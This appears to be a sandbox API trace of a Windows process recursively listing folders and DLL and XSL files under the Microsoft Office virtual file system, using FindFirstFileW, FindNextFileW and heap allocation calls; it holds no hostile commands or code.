	[0164.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.764] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.764] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 1
	[0164.764] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\Shared\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0164.765] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.765] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1
	[0164.765] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 0
	[0164.765] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0164.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.766] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0164.766] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.766] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0164.766] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0164.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.766] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0164.766] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0164.766] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.766] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 1
	[0164.766] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.766] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.766] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 1
	[0164.767] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\110\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140d98
	[0164.767] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.767] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0164.767] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0164.767] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0164.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.767] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0164.767] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.767] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0164.767] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0164.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.767] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0
	[0164.767] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0164.847] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1
	[0164.847] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x41a9008
	[0164.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\*", lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140e18
	[0164.935] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.935] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1
	[0164.935] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140dd8
	[0164.975] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.975] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1
	[0164.975] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140898
	[0165.070] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.070] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 1
	[0165.070] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0165.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140f98
	[0165.072] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.072] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0165.072] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4282998
	[0165.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\*", lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140ed8
	[0165.073] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.073] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as80.xsl", cAlternateFileName="")) returned 1
	[0165.073] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as90.xsl", cAlternateFileName="")) returned 1
	[0165.073] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1
